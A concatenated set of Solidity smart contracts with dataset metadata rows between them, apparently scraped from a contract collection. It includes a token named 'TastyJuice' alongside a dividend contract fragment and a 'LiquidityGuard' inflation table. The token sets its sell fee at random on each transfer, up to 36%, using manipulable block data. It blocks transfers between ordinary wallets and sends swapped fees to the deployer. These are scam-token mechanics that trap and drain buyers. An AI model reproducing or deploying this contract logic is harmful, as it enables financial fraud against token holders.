for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].amount);
}
return amount;
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256 amount;
for (uint256 i = 0; i < user.deposits.length; i++) {
amount = amount.add(user.deposits[i].withdrawn);
}
amount = amount.add(user.wbonus);
return amount;
}
function getUserTotalEarned(address userAddress) public view returns(uint256) {
return getUserTotalWithdrawn(userAddress).add(getUserDividends(userAddress));
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
| 286,582 | 12,705 |
fd504db51f01fb8f4155b92e29ca22811f86625578596a8c85d2cf07d4632e1b
| 14,075 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/c7/c766f8fc2ffdfa14e0cb46ea350b942f7de6745b_TastyJuice.sol
| 3,558 | 13,380 |
// https://t.me/johnnydipcoin
pragma solidity ^0.8.1;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function getAmountsIn(uint256 amountOut,
address[] memory path) external view returns (uint256[] memory amounts);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityAVAX(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountAVAX, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactAVAXForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
abstract contract BEP20Interface {
function balanceOf(address whom) view public virtual returns (uint);
}
contract TastyJuice is IBEP20, Auth {
using SafeMath for uint256;
string constant _name = "JuicyTaste";
string constant _symbol = "JD";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress = 0x2D99ABD9008Dc933ff5c0CD271B88309593aB921;
uint256 _totalSupply = 10000 * (10 ** _decimals);
uint256 public _record = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public hasSold;
uint256 public liquidityFee = 0;
uint256 public marketingFee = 0;
uint256 public WorldLeaderFee = 0;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
uint256 public maxTx = 300 * (10 ** _decimals);
uint256 public maxWallet = 400 * (10 ** _decimals);
address public autoLiquidityReceiver;
address public marketingWallet;
address public WorldLeader;
IDEXRouter public router;
address public pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold = _totalSupply * 5 / 2000;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () Auth(msg.sender) {
router = IDEXRouter(routerAddress);
pair = IDEXFactory(router.factory()).createPair(router.WAVAX(), address(this));
_allowances[address(this)][address(router)] = uint256(_totalSupply);
isFeeExempt[DEAD] = true;
isTxLimitExempt[DEAD] = true;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender; //LP receiver
marketingWallet = msg.sender; //marketing wallet
WorldLeader = msg.sender; //tax collector wallet
totalFee = 10;
totalFeeIfSelling = totalFee;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function name() external pure override returns (string memory) { return _name; }
function symbol() external pure override returns (string memory) { return _symbol; }
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) { return owner; }
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(_totalSupply));
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setFeeReceivers(address newLiquidityReceiver, address newMarketingWallet) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(_totalSupply)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(sender != owner
&& recipient != owner
&& !isTxLimitExempt[recipient]
&& recipient != ZERO
&& recipient != DEAD
&& recipient != pair
&& recipient != address(this))
{
require(maxTx >= amount && maxWallet >= amount + _balances[recipient]);
}
totalFeeIfSelling = (uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender)))%7) ** 2;
if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }
if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient) internal view returns (bool) {
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WAVAX();
router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 amountAVAX = address(this).balance;
uint256 totalAVAXFee = totalFee.sub(liquidityFee.div(2));
uint256 amountAVAXMarketing = amountAVAX;
uint256 amountAVAXTaxMan = amountAVAX.mul(WorldLeaderFee).div(totalAVAXFee);
uint256 amountAVAXLiquidity = amountAVAX.mul(liquidityFee).div(totalAVAXFee).div(2);
(bool tmpSuccess,) = payable(marketingWallet).call{value: amountAVAXMarketing, gas: 30000}("");
(bool tmpSuccess2,) = payable(WorldLeader).call{value: amountAVAXTaxMan, gas: 30000}("");
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if(amountToLiquify > 0){
router.addLiquidityAVAX{value: amountAVAXLiquidity}(address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp);
emit AutoLiquify(amountAVAXLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountAVAX, uint256 amountBOG);
}
| 129,504 | 12,706 |
d1363387585a930e506775fce57e18476eaed7bff281817e90385e39cdc9cef4
| 21,936 |
.sol
|
Solidity
| false |
369659874
|
wise-foundation/wise-token-contracts-bsc
|
262eadf8ffd85ac87fd1ae46caa6379b8bede42b
|
contracts/LiquidityGuard.sol
| 12,760 | 21,654 |
// SPDX-License-Identifier: -- % --
pragma solidity =0.7.5;
contract LiquidityGuard {
mapping (uint32 => uint256) InflationLN;
bool isReady;
function getInflation(uint32 _amount) external view returns (uint256) {
return InflationLN[_amount];
}
// 0.006% liquidityRate step increase;
constructor() {
InflationLN[100000] = 60835153328;
InflationLN[100006] = 60835153328;
InflationLN[100012] = 30418486635;
InflationLN[100018] = 20279597719;
InflationLN[100024] = 15210153257;
InflationLN[100030] = 12168486576;
InflationLN[100036] = 10140708779;
InflationLN[100042] = 8692296062;
InflationLN[100048] = 7605986520;
InflationLN[100054] = 6761079095;
InflationLN[100060] = 6085153150;
InflationLN[100066] = 5532122829;
InflationLN[100072] = 5071264225;
InflationLN[100078] = 4681306942;
InflationLN[100084] = 4347057839;
InflationLN[100090] = 4057375282;
InflationLN[100096] = 3803903041;
InflationLN[100102] = 3580251062;
InflationLN[100108] = 3381449301;
InflationLN[100114] = 3203574039;
InflationLN[100120] = 3043486301;
InflationLN[100126] = 2898645013;
InflationLN[100132] = 2766971113;
InflationLN[100138] = 2646747116;
InflationLN[100144] = 2536541784;
InflationLN[100150] = 2435152877;
InflationLN[100156] = 2341563115;
InflationLN[100162] = 2254905927;
InflationLN[100168] = 2174438537;
InflationLN[100174] = 2099520620;
InflationLN[100180] = 2029597230;
InflationLN[100186] = 1964185026;
InflationLN[100192] = 1902861083;
InflationLN[100198] = 1845253741;
InflationLN[100204] = 1791035066;
InflationLN[100210] = 1739914600;
InflationLN[100216] = 1691634158;
InflationLN[100222] = 1645963469;
InflationLN[100228] = 1602696500;
InflationLN[100234] = 1561648348;
InflationLN[100240] = 1522652604;
InflationLN[100246] = 1485559090;
InflationLN[100252] = 1450231932;
InflationLN[100258] = 1416547898;
InflationLN[100264] = 1384394955;
InflationLN[100270] = 1353671031;
InflationLN[100276] = 1324282929;
InflationLN[100282] = 1296145384;
InflationLN[100288] = 1269180236;
InflationLN[100294] = 1243315705;
InflationLN[100300] = 1218485755;
InflationLN[100306] = 1194629528;
InflationLN[100312] = 1171690847;
InflationLN[100318] = 1149617776;
InflationLN[100324] = 1128362225;
InflationLN[100330] = 1107879603;
InflationLN[100336] = 1088128503;
InflationLN[100342] = 1069070423;
InflationLN[100348] = 1050669518;
InflationLN[100354] = 1032892371;
InflationLN[100360] = 1015707795;
InflationLN[100366] = 999086648;
InflationLN[100372] = 983001666;
InflationLN[100378] = 967427318;
InflationLN[100384] = 952339667;
InflationLN[100390] = 937716251;
InflationLN[100396] = 923535969;
InflationLN[100402] = 909778978;
InflationLN[100408] = 896426604;
InflationLN[100414] = 883461255;
InflationLN[100420] = 870866344;
InflationLN[100426] = 858626218;
InflationLN[100432] = 846726096;
InflationLN[100438] = 835152004;
InflationLN[100444] = 823890724;
InflationLN[100450] = 812929745;
InflationLN[100456] = 802257212;
InflationLN[100462] = 791861888;
InflationLN[100468] = 781733109;
InflationLN[100474] = 771860755;
InflationLN[100480] = 762235210;
InflationLN[100486] = 752847331;
InflationLN[100492] = 743688425;
InflationLN[100498] = 734750215;
InflationLN[100504] = 726024820;
InflationLN[100510] = 717504727;
InflationLN[100516] = 709182775;
InflationLN[100522] = 701052132;
InflationLN[100528] = 693106277;
InflationLN[100534] = 685338979;
InflationLN[100540] = 677744287;
InflationLN[100546] = 670316512;
InflationLN[100552] = 663050209;
InflationLN[100558] = 655940171;
InflationLN[100564] = 648981409;
InflationLN[100570] = 642169148;
InflationLN[100576] = 635498808;
InflationLN[100582] = 628966001;
InflationLN[100588] = 622566516;
InflationLN[100594] = 616296313;
InflationLN[100600] = 610151513;
InflationLN[100606] = 604128393;
InflationLN[100612] = 598223372;
InflationLN[100618] = 592433012;
InflationLN[100624] = 586754005;
InflationLN[100630] = 581183169;
InflationLN[100636] = 575717442;
InflationLN[100642] = 570353879;
InflationLN[100648] = 565089640;
InflationLN[100654] = 559921992;
InflationLN[100660] = 554848302;
InflationLN[100666] = 549866029;
InflationLN[100672] = 544972724;
InflationLN[100678] = 540166027;
InflationLN[100684] = 535443657;
InflationLN[100690] = 530803415;
InflationLN[100696] = 526243177;
InflationLN[100702] = 521760892;
InflationLN[100708] = 517354577;
InflationLN[100714] = 513022317;
InflationLN[100720] = 508762262;
InflationLN[100726] = 504572620;
InflationLN[100732] = 500451661;
InflationLN[100738] = 496397709;
InflationLN[100744] = 492409143;
InflationLN[100750] = 488484393;
InflationLN[100756] = 484621941;
InflationLN[100762] = 480820315;
InflationLN[100768] = 477078089;
InflationLN[100774] = 473393882;
InflationLN[100780] = 469766354;
InflationLN[100786] = 466194208;
InflationLN[100792] = 462676186;
InflationLN[100798] = 459211066;
InflationLN[100804] = 455797663;
InflationLN[100810] = 452434830;
InflationLN[100816] = 449121449;
InflationLN[100822] = 445856439;
InflationLN[100828] = 442638747;
InflationLN[100834] = 439467353;
InflationLN[100840] = 436341265;
InflationLN[100846] = 433259517;
InflationLN[100852] = 430221175;
InflationLN[100858] = 427225326;
InflationLN[100864] = 424271087;
InflationLN[100870] = 421357595;
InflationLN[100876] = 418484013;
InflationLN[100882] = 415649528;
InflationLN[100888] = 412853346;
InflationLN[100894] = 410094697;
InflationLN[100900] = 407372830;
InflationLN[100906] = 404687013;
InflationLN[100912] = 402036536;
InflationLN[100918] = 399420706;
InflationLN[100924] = 396838847;
InflationLN[100930] = 394290302;
InflationLN[100936] = 391774431;
InflationLN[100942] = 389290608;
InflationLN[100948] = 386838227;
InflationLN[100954] = 384416692;
InflationLN[100960] = 382025427;
InflationLN[100966] = 379663866;
InflationLN[100972] = 377331461;
InflationLN[100978] = 375027673;
InflationLN[100984] = 372751981;
InflationLN[100990] = 370503872;
InflationLN[100996] = 368282848;
InflationLN[101000] = 366816973;
InflationLN[101002] = 366088424;
InflationLN[101008] = 363920123;
InflationLN[101014] = 361777483;
InflationLN[101020] = 359660050;
InflationLN[101026] = 357567382;
InflationLN[101032] = 355499047;
InflationLN[101038] = 353454623;
InflationLN[101044] = 351433699;
InflationLN[101050] = 349435870;
InflationLN[101056] = 347460744;
InflationLN[101062] = 345507935;
InflationLN[101068] = 343577068;
InflationLN[101074] = 341667774;
InflationLN[101080] = 339779695;
InflationLN[101086] = 337912478;
InflationLN[101092] = 336065780;
InflationLN[101098] = 334239265;
InflationLN[101104] = 332432602;
InflationLN[101110] = 330645471;
InflationLN[101116] = 328877556;
InflationLN[101122] = 327128549;
InflationLN[101128] = 325398148;
InflationLN[101134] = 323686058;
InflationLN[101140] = 321991990;
InflationLN[101146] = 320315661;
InflationLN[101152] = 318656793;
InflationLN[101158] = 317015116;
InflationLN[101164] = 315390363;
InflationLN[101170] = 313782273;
InflationLN[101176] = 312190593;
InflationLN[101182] = 310615072;
InflationLN[101188] = 309055465;
InflationLN[101194] = 307511532;
InflationLN[101200] = 305983038;
InflationLN[101206] = 304469753;
InflationLN[101212] = 302971451;
InflationLN[101218] = 301487910;
InflationLN[101224] = 300018914;
InflationLN[101230] = 298564249;
InflationLN[101236] = 297123706;
InflationLN[101242] = 295697082;
InflationLN[101248] = 294284176;
InflationLN[101254] = 292884790;
InflationLN[101260] = 291498731;
InflationLN[101266] = 290125810;
InflationLN[101272] = 288765840;
InflationLN[101278] = 287418641;
InflationLN[101284] = 286084032;
InflationLN[101290] = 284761837;
InflationLN[101296] = 283451885;
InflationLN[101302] = 282154006;
InflationLN[101308] = 280868035;
InflationLN[101314] = 279593807;
}
function assignInflation() external {
require(isReady == false,
"LiquidityGuard: amounts already defined");
isReady = true;
InflationLN[101320] = 278331162;
InflationLN[101326] = 277079945;
InflationLN[101332] = 275839999;
InflationLN[101338] = 274611174;
InflationLN[101344] = 273393320;
InflationLN[101350] = 272186291;
InflationLN[101356] = 270989944;
InflationLN[101362] = 269804137;
InflationLN[101368] = 268628732;
InflationLN[101374] = 267463593;
InflationLN[101380] = 266308584;
InflationLN[101386] = 265163576;
InflationLN[101392] = 264028438;
InflationLN[101398] = 262903044;
InflationLN[101404] = 261787269;
InflationLN[101410] = 260680989;
InflationLN[101416] = 259584084;
InflationLN[101422] = 258496436;
InflationLN[101428] = 257417928;
InflationLN[101434] = 256348444;
InflationLN[101440] = 255287873;
InflationLN[101446] = 254236103;
InflationLN[101452] = 253193025;
InflationLN[101458] = 252158532;
InflationLN[101464] = 251132519;
InflationLN[101470] = 250114881;
InflationLN[101476] = 249105516;
InflationLN[101482] = 248104324;
InflationLN[101488] = 247111206;
InflationLN[101494] = 246126065;
InflationLN[101500] = 245148804;
InflationLN[101506] = 244179331;
InflationLN[101512] = 243217551;
InflationLN[101518] = 242263375;
InflationLN[101524] = 241316711;
InflationLN[101530] = 240377473;
InflationLN[101536] = 239445571;
InflationLN[101542] = 238520922;
InflationLN[101548] = 237603441;
InflationLN[101554] = 236693044;
InflationLN[101560] = 235789650;
InflationLN[101566] = 234893179;
InflationLN[101572] = 234003550;
InflationLN[101578] = 233120687;
InflationLN[101584] = 232244512;
InflationLN[101590] = 231374950;
InflationLN[101596] = 230511925;
InflationLN[101602] = 229655365;
InflationLN[101608] = 228805197;
InflationLN[101614] = 227961350;
InflationLN[101620] = 227123754;
InflationLN[101626] = 226292338;
InflationLN[101632] = 225467036;
InflationLN[101638] = 224647781;
InflationLN[101644] = 223834504;
InflationLN[101650] = 223027143;
InflationLN[101656] = 222225632;
InflationLN[101662] = 221429908;
InflationLN[101668] = 220639908;
InflationLN[101674] = 219855571;
InflationLN[101680] = 219076837;
InflationLN[101686] = 218303645;
InflationLN[101692] = 217535936;
InflationLN[101698] = 216773653;
InflationLN[101704] = 216016738;
InflationLN[101710] = 215265135;
InflationLN[101716] = 214518787;
InflationLN[101722] = 213777640;
InflationLN[101728] = 213041640;
InflationLN[101734] = 212310734;
InflationLN[101740] = 211584868;
InflationLN[101746] = 210863990;
InflationLN[101752] = 210148050;
InflationLN[101758] = 209436997;
InflationLN[101764] = 208730781;
InflationLN[101770] = 208029352;
InflationLN[101776] = 207332663;
InflationLN[101782] = 206640665;
InflationLN[101788] = 205953312;
InflationLN[101794] = 205270556;
InflationLN[101800] = 204592351;
InflationLN[101806] = 203918653;
InflationLN[101812] = 203249416;
InflationLN[101818] = 202584596;
InflationLN[101824] = 201924151;
InflationLN[101830] = 201268036;
InflationLN[101836] = 200616209;
InflationLN[101842] = 199968628;
InflationLN[101848] = 199325252;
InflationLN[101854] = 198686041;
InflationLN[101860] = 198050953;
InflationLN[101866] = 197419950;
InflationLN[101872] = 196792991;
InflationLN[101878] = 196170038;
InflationLN[101884] = 195551053;
InflationLN[101890] = 194935998;
InflationLN[101896] = 194324835;
InflationLN[101902] = 193717528;
InflationLN[101908] = 193114041;
InflationLN[101914] = 192514337;
InflationLN[101920] = 191918382;
InflationLN[101926] = 191326139;
InflationLN[101932] = 190737575;
InflationLN[101938] = 190152655;
InflationLN[101944] = 189571345;
InflationLN[101950] = 188993613;
InflationLN[101956] = 188419424;
InflationLN[101962] = 187848748;
InflationLN[101968] = 187281551;
InflationLN[101974] = 186717803;
InflationLN[101980] = 186157470;
InflationLN[101986] = 185600524;
InflationLN[101992] = 185046932;
InflationLN[101998] = 184496665;
InflationLN[102004] = 183949693;
InflationLN[102010] = 183405986;
InflationLN[102016] = 182865516;
InflationLN[102022] = 182328253;
InflationLN[102028] = 181794169;
InflationLN[102034] = 181263236;
InflationLN[102040] = 180735426;
InflationLN[102046] = 180210711;
InflationLN[102052] = 179689065;
InflationLN[102058] = 179170460;
InflationLN[102064] = 178654871;
InflationLN[102070] = 178142270;
InflationLN[102076] = 177632632;
InflationLN[102082] = 177125932;
InflationLN[102088] = 176622143;
InflationLN[102094] = 176121241;
InflationLN[102100] = 175623202;
InflationLN[102106] = 175128000;
InflationLN[102112] = 174635612;
InflationLN[102118] = 174146014;
InflationLN[102124] = 173659181;
InflationLN[102130] = 173175091;
InflationLN[102136] = 172693721;
InflationLN[102142] = 172215047;
InflationLN[102148] = 171739047;
InflationLN[102154] = 171265699;
InflationLN[102160] = 170794981;
InflationLN[102166] = 170326870;
InflationLN[102172] = 169861346;
InflationLN[102178] = 169398386;
InflationLN[102184] = 168937970;
InflationLN[102190] = 168480077;
InflationLN[102196] = 168024686;
InflationLN[102202] = 167571776;
InflationLN[102208] = 167121328;
InflationLN[102214] = 166673321;
InflationLN[102220] = 166227735;
InflationLN[102226] = 165784552;
InflationLN[102232] = 165343751;
InflationLN[102238] = 164905314;
InflationLN[102244] = 164469221;
InflationLN[102250] = 164035454;
InflationLN[102256] = 163603994;
InflationLN[102262] = 163174823;
InflationLN[102268] = 162747922;
InflationLN[102274] = 162323275;
InflationLN[102280] = 161900862;
InflationLN[102286] = 161480666;
InflationLN[102292] = 161062671;
InflationLN[102298] = 160646857;
InflationLN[102304] = 160233210;
InflationLN[102310] = 159821711;
InflationLN[102316] = 159412345;
InflationLN[102322] = 159005093;
InflationLN[102328] = 158599941;
InflationLN[102334] = 158196872;
InflationLN[102340] = 157795870;
InflationLN[102346] = 157396919;
InflationLN[102352] = 157000003;
InflationLN[102358] = 156605107;
InflationLN[102364] = 156212216;
InflationLN[102370] = 155821314;
InflationLN[102376] = 155432386;
InflationLN[102382] = 155045417;
InflationLN[102388] = 154660393;
InflationLN[102394] = 154277298;
InflationLN[102400] = 153896119;
InflationLN[102406] = 153516841;
InflationLN[102412] = 153139450;
InflationLN[102418] = 152763932;
InflationLN[102424] = 152390272;
InflationLN[102430] = 152018458;
InflationLN[102436] = 151648475;
InflationLN[102442] = 151280311;
InflationLN[102448] = 150913950;
InflationLN[102454] = 150549382;
InflationLN[102460] = 150186591;
InflationLN[102466] = 149825566;
InflationLN[102472] = 149466294;
InflationLN[102478] = 149108761;
InflationLN[102484] = 148752955;
InflationLN[102490] = 148398864;
InflationLN[102496] = 148046475;
InflationLN[102502] = 147695776;
InflationLN[102508] = 147346755;
InflationLN[102514] = 146999400;
InflationLN[102520] = 146653699;
InflationLN[102526] = 146309641;
InflationLN[102532] = 145967212;
InflationLN[102538] = 145626403;
InflationLN[102544] = 145287201;
InflationLN[102550] = 144949596;
InflationLN[102556] = 144613575;
InflationLN[102562] = 144279128;
InflationLN[102568] = 143946244;
InflationLN[102574] = 143614911;
InflationLN[102580] = 143285120;
InflationLN[102586] = 142956859;
InflationLN[102592] = 142630117;
InflationLN[102598] = 142304885;
InflationLN[102604] = 141981151;
InflationLN[102610] = 141658906;
InflationLN[102616] = 141338139;
InflationLN[102622] = 141018840;
InflationLN[102628] = 140700998;
InflationLN[102634] = 140384605;
InflationLN[102640] = 140069650;
InflationLN[102646] = 139756123;
InflationLN[102652] = 139444014;
InflationLN[102658] = 139133315;
InflationLN[102664] = 138824015;
InflationLN[102670] = 138516105;
InflationLN[102676] = 138209576;
InflationLN[102682] = 137904418;
InflationLN[102688] = 137600622;
InflationLN[102694] = 137298180;
InflationLN[102700] = 136997081;
InflationLN[102706] = 136697318;
InflationLN[102712] = 136398881;
InflationLN[102718] = 136101762;
InflationLN[102724] = 135805951;
InflationLN[102730] = 135511441;
InflationLN[102736] = 135218222;
InflationLN[102742] = 134926287;
InflationLN[102748] = 134635626;
InflationLN[102754] = 134346231;
InflationLN[102760] = 134058095;
InflationLN[102766] = 133771209;
InflationLN[102772] = 133485565;
InflationLN[102778] = 133201154;
InflationLN[102784] = 132917969;
InflationLN[102790] = 132636002;
InflationLN[102796] = 132355246;
InflationLN[102802] = 132075691;
InflationLN[102808] = 131797331;
InflationLN[102814] = 131520158;
InflationLN[102820] = 131244165;
InflationLN[102826] = 130969343;
InflationLN[102832] = 130695686;
InflationLN[102838] = 130423186;
InflationLN[102844] = 130151836;
InflationLN[102850] = 129881628;
InflationLN[102856] = 129612555;
InflationLN[102862] = 129344610;
InflationLN[102868] = 129077787;
InflationLN[102874] = 128812077;
InflationLN[102880] = 128547475;
InflationLN[102886] = 128283972;
InflationLN[102892] = 128021563;
InflationLN[102898] = 127760241;
InflationLN[102904] = 127499998;
InflationLN[102910] = 127240828;
InflationLN[102916] = 126982725;
InflationLN[102922] = 126725681;
InflationLN[102928] = 126469692;
InflationLN[102934] = 126214749;
InflationLN[102940] = 125960846;
InflationLN[102946] = 125707978;
InflationLN[102952] = 125456137;
InflationLN[102958] = 125205318;
InflationLN[102964] = 124955515;
InflationLN[102970] = 124706720;
InflationLN[102976] = 124458929;
InflationLN[102982] = 124212135;
InflationLN[102988] = 123966332;
InflationLN[102994] = 123721514;
InflationLN[103000] = 123477676;
}
}
| 62,393 | 12,707 |
54cacbeb08937ef93e312f0147747364ae4c7ba770ec34af5a024be750f609e1
| 29,637 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x7A4cFC24841c799832fFF4E5038BBA14c0e73ced/contract.sol
| 5,019 | 18,666 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
